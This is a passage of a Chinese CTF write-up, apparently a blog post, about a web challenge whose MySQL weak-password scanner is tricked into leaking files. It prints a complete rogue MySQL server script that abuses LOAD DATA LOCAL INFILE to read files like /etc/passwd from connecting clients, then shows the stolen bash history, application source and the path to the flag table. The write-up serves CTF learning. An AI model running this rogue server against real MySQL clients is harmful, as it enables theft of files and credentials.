#    r'c:\windows\win.ini',
#    r'c:\windows\system32\drivers\etc\hosts',
    '/etc/passwd',
#    '/etc/shadow',
)

#================================================
#=======No need to change after this lines=======
#================================================

__author__ = 'Gifts'

def daemonize():
    import os, warnings
    if os.name != 'posix':
        warnings.warn('Cant create daemon on non-posix system')
        return

    if os.fork(): os._exit(0)
    os.setsid()
    if os.fork(): os._exit(0)
    os.umask(0o022)
    null=os.open('/dev/null', os.O_RDWR)
    for i in xrange(3):
        try:
            os.dup2(null, i)
        except OSError as e:
            if e.errno != 9: raise
    os.close(null)

class LastPacket(Exception):
    pass

class OutOfOrder(Exception):
    pass

class mysql_packet(object):
    packet_header = struct.Struct('<Hbb')
    packet_header_long = struct.Struct('<Hbbb')
    def __init__(self, packet_type, payload):
        if isinstance(packet_type, mysql_packet):
            self.packet_num = packet_type.packet_num + 1
        else:
            self.packet_num = packet_type
        self.payload = payload

    def __str__(self):
        payload_len = len(self.payload)
        if payload_len < 65536:
            header = mysql_packet.packet_header.pack(payload_len, 0, self.packet_num)
        else:
            header = mysql_packet.packet_header.pack(payload_len & 0xFFFF, payload_len >> 16, 0, self.packet_num)

        result = "{0}{1}".format(
            header,
            self.payload
        )
        return result

    def __repr__(self):
        return repr(str(self))

    @staticmethod
    def parse(raw_data):
        packet_num = ord(raw_data[0])
        payload = raw_data[1:]

        return mysql_packet(packet_num, payload)

class http_request_handler(asynchat.async_chat):

    def __init__(self, addr):
        asynchat.async_chat.__init__(self, sock=addr[0])
        self.addr = addr[1]
        self.ibuffer = []
        self.set_terminator(3)
        self.state = 'LEN'
        self.sub_state = 'Auth'
        self.logined = False
        self.push(
            mysql_packet(
                0,
                "".join((
                    '\x0a',  # Protocol
                    '5.6.28-0ubuntu0.14.04.1' + '\0',
                    '\x2d\x00\x00\x00\x40\x3f\x59\x26\x4b\x2b\x34\x60\x00\xff\xf7\x08\x02\x00\x7f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\x69\x59\x5f\x52\x5f\x63\x55\x60\x64\x53\x52\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00',
                ))            )
        )

        self.order = 1
        self.states = ['LOGIN', 'CAPS', 'ANY']

    def push(self, data):
        log.debug('Pushed: %r', data)
        data = str(data)
        asynchat.async_chat.push(self, data)

    def collect_incoming_data(self, data):
        log.debug('Data recved: %r', data)
        self.ibuffer.append(data)

    def found_terminator(self):
        data = "".join(self.ibuffer)
        self.ibuffer = []

        if self.state == 'LEN':
            len_bytes = ord(data[0]) + 256*ord(data[1]) + 65536*ord(data[2]) + 1
            if len_bytes < 65536:
                self.set_terminator(len_bytes)
                self.state = 'Data'
            else:
                self.state = 'MoreLength'
        elif self.state == 'MoreLength':
            if data[0] != '\0':
                self.push(None)
                self.close_when_done()
            else:
                self.state = 'Data'
        elif self.state == 'Data':
            packet = mysql_packet.parse(data)
            try:
                if self.order != packet.packet_num:
                    raise OutOfOrder()
                else:
                    # Fix ?
                    self.order = packet.packet_num + 2
                if packet.packet_num == 0:
                    if packet.payload[0] == '\x03':
                        log.info('Query')

                        filename = random.choice(filelist)
                        PACKET = mysql_packet(
                            packet,
                            '\xFB{0}'.format(filename)
                        )
                        self.set_terminator(3)
                        self.state = 'LEN'
                        self.sub_state = 'File'
                        self.push(PACKET)
                    elif packet.payload[0] == '\x1b':
                        log.info('SelectDB')
                        self.push(mysql_packet(
                            packet,
                            '\xfe\x00\x00\x02\x00'
                        ))
                        raise LastPacket()
                    elif packet.payload[0] in '\x02':
                        self.push(mysql_packet(
                            packet, '\0\0\0\x02\0\0\0'
                        ))
                        raise LastPacket()
                    elif packet.payload == '\x00\x01':
                        self.push(None)
                        self.close_when_done()
                    else:
                        raise ValueError()
                else:
                    if self.sub_state == 'File':
                        log.info('-- result')
                        log.info('Result: %r', data)

                        if len(data) == 1:
                            self.push(
                                mysql_packet(packet, '\0\0\0\x02\0\0\0')
                            )
                            raise LastPacket()
                        else:
                            self.set_terminator(3)
                            self.state = 'LEN'
                            self.order = packet.packet_num + 1

                    elif self.sub_state == 'Auth':
                        self.push(mysql_packet(
                            packet, '\0\0\0\x02\0\0\0'
                        ))
                        raise LastPacket()
                    else:
                        log.info('-- else')
                        raise ValueError('Unknown packet')
            except LastPacket:
                log.info('Last packet')
                self.state = 'LEN'
                self.sub_state = None
                self.order = 0
                self.set_terminator(3)
            except OutOfOrder:
                log.warning('Out of order')
                self.push(None)
                self.close_when_done()
        else:
            log.error('Unknown state')
            self.push('None')
            self.close_when_done()

class mysql_listener(asyncore.dispatcher):
    def __init__(self, sock=None):
        asyncore.dispatcher.__init__(self, sock)

        if not sock:
            self.create_socket(socket.AF_INET, socket.SOCK_STREAM)
            self.set_reuse_addr()
            try:
                self.bind(('', PORT))
            except socket.error:
                exit()

            self.listen(5)

    def handle_accept(self):
        pair = self.accept()

        if pair is not None:
            log.info('Conn from: %r', pair[1])
            tmp = http_request_handler(pair)

z = mysql_listener()
# daemonize()
asyncore.loop()

然后运行,再点击下扫描。可以看到文件读出来了。

那么我们就来找找 flag 在哪。来看看管理员的操作记录吧。修改上面恶意服务器的 filelist, 读取 /root/.bash_history,结果如下。(换行已处理)

\x02history  -w
history  -w
ls
cat ~/.bash_history 
ls
ls
pwd
cd /home/dc2-user/ctf_web_2/
ls
cd app/
ls
cd main/
ls
vim views.py
ls
whoami
history 
exit
ls
cd ctf_web_
cd ctf_web_1/
ls
history 
supervisor -c /home/dc2-user/ctf_web_2/supervisor.conf
LS
ls
cd ..
ls
cd ctf_web_2/
ls
supervisor -c /home/dc2-user/ctf_web_2/supervisor.conf
source ctf_web_2/bin/activate
supervisor -c /home/dc2-user/ctf_web_2/supervisor.conf
supervisor -c /home/dc2-user/ctf_web_2/supervisor.conf
pip install supervisor
supervisor -c /home/dc2-user/ctf_web_2/supervisor.conf
supervisorctl status
ls
cat supervisor.conf 
ls
pwd
netstat -tlnp
curl http://127.0.0.1:5000
curl http://127.0.0.1:5050
ls
ps -aux | grep 5000
kill -9 13837
kill -9 18893
kill -9 18962
ls
ps -aux | grep 5000
ps -aux | grep 5000
cd ..
ls
pwd
cd /home/dc2-user/ctf_web_1
ls
cd web_1/
ls
cat web_1.out 
ls
pstree -ap|grep gunicorn
kill -9 14070 19310
pstree -ap|grep gunicorn
kill -9 19357
ls
pstree -ap|grep gunicorn
/home/dc2-user/ctf_web_2/ctf_web_2/bin/gunicorn manager:app -b 0.0.0.0:5050
/home/dc2-user/ctf_web_2/ctf_web_2/bin/gunicorn manager:app -b 0.0.0.0:5050
nohup /home/dc2-user/ctf_web_2/ctf_web_2/bin/gunicorn manager:app -b 0.0.0.0:5050 > web_1.out 2>&1 &
ls
tail web_1.out 
tail web_1.out 
tail web_1.out 
tail web_1.out 
tail web_1.out 
tail web_1.out 
ls
cd ..
ls
cd ..
ls
cd ctf_web_2/
ls
vim app/
ls
cd app/
ls'
ls
cd main/
ls
vim views.py
ls
cd ..
ls
cd ..
ls
tail web_2.out 
tail web_2.out 
la
ls
cd log/
ls
cat gunicorn.err 
tail gunicorn.err 
tail gunicorn.err 
tail gunicorn.err 
tail gunicorn.err 
tail gunicorn.log 
tail gunicorn.log 
tail gunicorn.log 
tail gunicorn.log 
tail gunicorn.log 
tail gunicorn.log 
ls
ls
cd ..
ls
tail gunicorn.log 
tail gunicorn.log 
ls
tail log/gunicorn.log 
tail log/gunicorn.log 
tail log/gunicorn.log 
ls
tail -20 log/gunicorn.log 
tail -20 log/gunicorn.log 
tail -50 log/gunicorn.
tail -50 log/gunicorn.log 
cat log/gunicorn.log 
ls
tail -50 log/gunicorn.err 
tail -100 log/gunicorn.err 
ls
ls
ls
ps -aux | grep 5000
kill -9 18982
kill -9 22189
ps -aux | grep 5000
ps -aux | grep 5000
pwd
ps -aux | grep 5000
netstat -tlnp
curl http://127.0.0.1:5000/index.html
ps -aux | grep 5000
ps -aux | grep supervisor
kill -9 20141
ls
ps -aux | grep supervisor
ps -aux | grep 5000
kill -9 22718
kill -9 22723
kill -9 22736
ps -aux | grep 5000
ls
nohup /home/dc2-user/ctf_web_2/ctf_web_2/bin/gunicorn didi_ctf_web2:app -b 0.0.0.0:5000 > web_2.out 2>&1 &
ps -aux | grep 5000
ls
tail web_2.out 
tail web_2.out 
tail web_2.out 
tail web_2.out 
tail web_2.out 
tail web_2.out 
tail web_2.out 
tail web_2.out 
tail web_2.out 
ls
cd ..
ks
ls
cd ctf_web_1/
ls
cd web_1/
ls
tail web_1.out 
ls
history 
ls
ps aux | grep didi_ctf_web2.py
ps aux | grep didi_ctf_web
ps aux | grep 5000
kill 22836
kill 25892
ps aux | grep 5000
kill -9 22836
ps aux | grep 5000
nohup /home/dc2-user/ctf_web_2/ctf_web_2/bin/gunicorn didi_ctf_web2:app -b 0.0.0.0:5000 > web_2.out 2>&1 &
ps aux | grep 5000
ls
vi restart.sh
vi restart.sh 
cat restart.sh 
idi_ctf_web2:app -b 0.0.0.0:5000 > web_2.out 2>&1 &
idi_ctf_web2:app -b 0.0.0.0:5000 > web_2.out 2>&1 &
ls
cat restart.sh 
ps aux | grep 'gunicron' | awk '{print $2}'|xargs kill -9
ps aux | grep 'gunicron' | awk '{print $2}'
nohup /home/dc2-user/ctf_web_2/ctf_web_2/bin/gunicorn didi_ctf_web2:app -b 0.0.0.0:5000 > web_2.out 2>&1 &
ps aux | grep 'gunicron' | awk '{print $2}'
ps aux | grep 'gunicron' | awk '{print $2}'
ps aux | grep 'gunicron' 
ps aux | grep 'gunicron' 
ps aux 
ps aux 
ps aux | grep 5000
ps aux | grep 'gunicron' 
ps aux | grep gunicron 
vi restart.sh 
chmod +x restart.sh 
ls
./restart.sh 
cat restart.sh 
ps aux | grep 5000
ps aux | grep 5000
ps aux | grep 5000| awk '{print $2}'|
ps aux | grep 5000| awk '{print $2}'
ps aux | grep 5000| awk '{print $2}'
vi start.sh 
vi restart.sh 
cat restart.sh 
ps aux | grep 5000 | awk '{print $2}'|head -n 1
ps aux | grep 5000 
./restart.sh 
ps aux | grep 5000 
cat restart.sh 
ps aux | grep 5000 
ps aux | grep 5000 
top
ls
ls
ls
cat restart.sh 
nohup /home/dc2-user/ctf_web_2/ctf_web_2/bin/gunicorn didi_ctf_web2:app -b 0.0.0.0:5000 > web_2.out 2>&1 &
cat restart.sh 
ps aux | grep 5000
ls
ps aux | grep 5000
kill -9 26850
ps aux | grep 5000
nohup /home/dc2-user/ctf_web_2/ctf_web_2/bin/gunicorn didi_ctf_web2:app -b 0.0.0.0:5000 > web_2.out 2>&1 &
ps aux | grep 5000
ps aux | grep 5000
exit
cat restart.sh 
ps aux 
ps aux | grep 5000
kill -9 27121
ps aux | grep 5000
kill -9 27244
ps aux | grep 5000
kill -9 27270
ps aux | grep 5000
cat restart.sh 
nohup /home/dc2-user/ctf_web_2/ctf_web_2/bin/gunicorn didi_ctf_web2:app -b 0.0.0.0:5000 > web_2.out 2>&1 &
ps aux | grep 5000
top
ps aux | grep gun
ls
cd ..
ls
cd ctf_web_
cd ctf_web_1
ls
cd env/
ls
cd ..
ls
cd ..
ls
cd ctf_web_
cd ctf_web_2/
ls
curl 127.0.0.1:5000
ls
cd ctf_web_2/
ls
cd ..
ls
vi web_2.out 
tail web_2.out 
tail -f web_2.out 
ps aux 
ps aux | grep super
ps aux | grep su

ps aux | grep curl
ps aux 
ps aux | grep 5000
kill -9 27317
ps aux | grep 5000
ps aux | grep 5000
ps aux | grep 5000
cat restart.sh 
nohup /home/dc2-user/ctf_web_2/ctf_web_2/bin/gunicorn didi_ctf_web2:app -b 127.0.0.1:5000 > web_2.out 2>&1 &
ls
curl 127.0.0.1:5000
curl 127.0.0.1:5000/index.html#/scan
ps aux | grep 5000
kill -9 27967
ps aux | grep 5000
nohup /home/dc2-user/ctf_web_2/ctf_web_2/bin/gunicorn didi_ctf_web2:app -b 0.0.0.0:5000 >> web2.out 2>&1 &
ps aux | grep 5000
curl 127.0.0.1:5000/index.html#/scan
ks
ls
ls
ps aux | grep 5000
kill -9 28042
ps aux | grep 5000
ps aux | grep 5000
kill -9 28047
ps aux | grep 5000
ps aux | grep 5000
ps aux | grep 5000
ps aux | grep 5000
ps aux | grep 5000
nohup /home/dc2-user/ctf_web_2/ctf_web_2/bin/gunicorn didi_ctf_web2:app -b 0.0.0.0:5000 >> web2.out 2>&1 &
ps aux | grep 5000
ls
tail -f web2.out 
ls
ls 
ll
ls log/
cd log/
ls
tail -f gunicorn.
tail -f gunicorn.log 
cat gunicorn.log 
cat gunicorn.err 
cd ~
ls
pwd
ls
cd ~
cd /home/dc2-user/
ls
cd ctf_web_
cd ctf_web_2/
ls
cd log/
ls
cat gunicorn.log 
ls
cd ..
ls
cat supervisor.conf 
ls
find . gunicorn
find . -name gunicorn
find . -name guni
find . -name guni*
find . -name *access*
find . -name *guni*
ll
ll
top
ps aux 
ps aux | grep gun
ls
ls /
ls
ls
cd app/
ls
cd ..
ls
cat didi_ctf_web2.py
ls
tail web2.out 
vi  web2.out 
vi  web2.out 
ls
ps aux | grep 5000
kill -9 29481
ps aux | grep 5000
ps aux | grep 5000
kill -9 28151
ps aux | grep 5000
ps aux | grep 5000
ps aux | grep 5000
ps aux | grep 5000
ps aux | grep 5000
ps aux | grep 5000
ps aux | grep 5000
ps aux | grep 5000
kill -9 29548
ps aux | grep 5000
ps aux | grep 5000
ps aux | grep 5000
ps aux | grep 5000
ps aux | grep 5000
ps aux | grep 5000
ps aux | grep 5000

ls
ps aux 
ps aux | grep 5050
exit
history 
tail -f web_1.out 
ps aux | grep 5050
kill -9 21115
ps aux | grep 5050
ps aux | grep 5050
ps aux | grep 5050
ps aux | grep 29905
kill -9 29905
ps aux | grep 29905
history 
nohup /home/dc2-user/ctf_web_2/ctf_web_2/bin/gunicorn manager:app -b 0.0.0.0:5050 > web_1.out 2>&1 &
ps aux | grep 29905
ps aux | grep 5005
ps aux | grep 5005
ps aux | grep 5005
ps aux | grep 5050
ps aux | grep 5050
top
htop
yum install htop
htop
ls
tail -f web_1.out 
ps aux | grep 5050
ps aux 
ps aux | grep guni
ps aux | grep 5050
kill -9 29984
ps aux | grep 5050
ps aux | grep 5050
ps aux | grep 5050
ps aux | grep 5050
ps aux | grep 5050
ps aux | grep 5050
ps aux | grep 5050
ps aux | grep 5050
ps aux | grep 5050
ps aux | grep 5050
ps aux | grep 5050
nohup /home/dc2-user/ctf_web_2/ctf_web_2/bin/gunicorn manager:app -b 127.0.0.1:5050 > web_1.1.out 2>&1
ps aux | grep 5050
nohup /home/dc2-user/ctf_web_2/ctf_web_2/bin/gunicorn manager:app -b 127.0.0.1:5050 > web_1.1.out 2>&1 &
ps aux | grep 5050
curl 127.0.0.1:5050
curl 127.0.0.1:5050/index.htm
ps aux | grep 5050
kill -9 30346
ps aux | grep 5050
ps aux | grep 5050
kill -9 30351
ps aux | grep 5050
nohup /home/dc2-user/ctf_web_2/ctf_web_2/bin/gunicorn manager:app -b 0.0.0.0:5050 >> web_1.2.out 2>&1 &
htop
ls
cd ..
ls
cd ..
ls
cd ctf_web_2/
ls
cat restart.sh 
nohup /home/dc2-user/ctf_web_2/ctf_web_2/bin/gunicorn didi_ctf_web2:app -b 0.0.0.0:5000 > web_2.out 2>&1 & 
ps aux | grep 50
vi restart.sh 
exit
ls
vim web2/app/main/views.py
vim /home/dc2-user/web2

根据上面的操作记录,用相同的方法读取 /home/dc2-user/ctf_web_2/app/main/views.py 试试。

\x02# coding=utf-8

from flask import jsonify, request
from struct import unpack
from socket import inet_aton
import MySQLdb
from subprocess import Popen, PIPE
import re
import os
import base64

# flag in mysql  curl@localhost database:security  table:flag

def weak_scan():

    agent_port = 8123
    result = []
    target_ip = request.args.get(\'target_ip\')
    target_port = request.args.get(\'target_port\')
    if not target_ip or not target_port:
        return jsonify({"code": 404, "msg": "\xe5\x8f\x82\xe6\x95\xb0\xe4\xb8\x8d\xe8\x83\xbd\xe4\xb8\xba\xe7\xa9\xba", "data": []})
    if not target_port.isdigit():
        return jsonify({"code": 404, "msg": "\xe7\xab\xaf\xe5\x8f\xa3\xe5\xbf\x85\xe9\xa1\xbb\xe4\xb8\xba\xe6\x95\xb0\xe5\xad\x97", "data": []})
    if not checkip(target_ip):
        return jsonify({"code": 404, "msg": "\xe5\xbf\x85\xe9\xa1\xbb\xe8\xbe\x93\xe5\x85\xa5ip", "data": []})
    if is_inner_ipaddress(target_ip):
        return jsonify({"code": 404, "msg": "ip\xe4\xb8\x8d\xe8\x83\xbd\xe6\x98\xaf\xe5\x86\x85\xe7\xbd\x91ip", "data": []})
    tmp_agent_result = get_agent_result(target_ip, agent_port)
    if not tmp_agent_result[0] == 1:
\ttem_result = tmp_agent_result[1]
        result.append(base64.b64encode(tem_result))
        return jsonify({"code": 404, "msg": "\xe6\x9c\x8d\xe5\x8a\xa1\xe5\x99\xa8\xe6\x9c\xaa\xe5\xbc\x80\xe5\x90\xafmysql", "data": result})

    tmp_result =mysql_scan(target_ip, target_port)

    if not tmp_result[\'Flag\'] == 1:
        tem_result = tmp_agent_result[1]
        result.append(base64.b64encode(tem_result))
        return jsonify({"code": 0, "msg": "\xe6\x9c\xaa\xe6\x89\xab\xe6\x8f\x8f\xe5\x87\xba\xe5\xbc\xb1\xe5\x8f\xa3\xe4\xbb\xa4", "data": []})
    else:
        tem_result = tmp_agent_result[1]
        result.append(base64.b64encode(tem_result))
        result.append(tmp_result)
        return jsonify({"code": 0, "msg": "\xe6\x9c\x8d\xe5\x8a\xa1\xe5\x99\xa8\xe5\xad\x98\xe5\x9c\xa8\xe5\xbc\xb1\xe5\x8f\xa3\xe4\xbb\xa4", "data": result})

def checkip(ip):
    p = re.compile(\'^((25[0-5]|2[0-4]\\d|[01]?\\d\\d?)\\.){3}(25[0-5]|2[0-4]\\d|[01]?\\d\\d?)$\')
    if p.match(ip):
        return True
    else:
        return False

def curl(url):
    tmp = Popen([\'curl\', url, \'-L\', \'-o\', \'content.log\'], stdout=PIPE)
    tmp.wait()
    result = tmp.stdout.readlines()
    return result

def get_agent_result(ip, port):

    str_port = str(port)
    url = \'http://\'+ip + \':\' + str_port
    curl(url)
    if not os.path.exists(\'content.log\'):
        return (0, \'\xe6\x9c\xaa\xe5\xbc\x80\xe5\x90\xafagent\')
    with open(\'content.log\') as f1:
        tmp_list = f1.readlines()
        response = \'\'.join(tmp_list)
    os.remove(\'content.log\')
    if not \'mysqld\' in response:
        return (0, response)
    else:
        return (1, response)

def ip2long(ip_addr):

    return unpack("!L", inet_aton(ip_addr))[0]

def is_inner_ipaddress(ip):

    ip = ip2long(ip)
    return ip2long(\'127.0.0.0\') >> 24 == ip >> 24 or \\
            ip2long(\'10.0.0.0\') >> 24 == ip >> 24 or \\
            ip2long(\'172.16.0.0\') >> 20 == ip >> 20 or \\
            ip2long(\'192.168.0.0\') >> 16 == ip >> 16

def mysql_scan(ip, port):

    port = int(port)
    weak_user = [\'root\', \'admin\', \'mysql\']
    weak_pass = [\'\', \'mysql\', \'root\', \'admin\', \'test\']
    Flag = 0
    for user in weak_user:
        for pass_wd in weak_pass:
            if mysql_login(ip,port, user, pass_wd):
                Flag = 1
                tmp_dic = {\'weak_user\': user, \'weak_passwd\': pass_wd, \'Flag\': Flag}
                return tmp_dic
            else:
                tmp_dic = {\'weak_user\': \'\', \'weak_passwd\': \'\', \'Flag\': Flag}
                return tmp_dic

def mysql_login(host, port, username, password):
    \'\'\'mysql login check\'\'\'

    try:
        conn = MySQLdb.connect(
            host=host,
            user=username,
            passwd=password,
            port=port,
            connect_timeout=1,
            )
        print ("[H:%s P:%s U:%s P:%s]Mysql login Success" % (host,port,username,password),"Info")
        conn.close()
        return True
    except MySQLdb.Error, e:

        print ("[H:%s P:%s U:%s P:%s]Mysql Error %d:" % (host,port,username,password,e.args[0]),"Error")
        return False

看到 “flag in mysql curl@localhost database:security table:flag”,就知道得去读取数据库的这个表了,那么这里我们直接读取数据库的 ibd 文件了。用相同的方法读取 /var/lib/mysql/security/flag.idb。

得到flag

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇